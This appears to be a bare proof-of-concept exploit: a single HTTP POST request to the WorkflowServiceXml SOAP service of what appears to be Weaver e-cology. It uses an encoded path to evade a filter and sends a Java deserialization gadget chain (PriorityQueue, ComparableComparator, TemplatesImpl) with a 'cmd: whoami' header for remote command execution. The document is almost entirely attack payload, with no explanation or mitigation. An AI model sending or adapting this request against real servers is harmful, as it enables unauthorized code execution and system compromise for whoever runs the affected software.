POC

POST /services%20/WorkflowServiceXml HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Content-Type: text/xml
cmd: whoami
Content-Length: 27572

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
   <soapenv:Header/>
   <soapenv:Body>
      <web:doCreateWorkflowRequest>
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  <java.util.PriorityQueue>
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        <property>outputProperties</property>
        <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/>
      </comparator>
    </default>
    <int>3</int>
    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
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        <default>
          <__name>Pwnr</__name>
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          <__transletIndex>-1</__transletIndex>
          <__indentNumber>0</__indentNumber>
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        <boolean>false</boolean>
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    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue></web:string>
        <web:string>2</web:string>
      </web:doCreateWorkflowRequest>
   </soapenv:Body>
</soapenv:Envelope>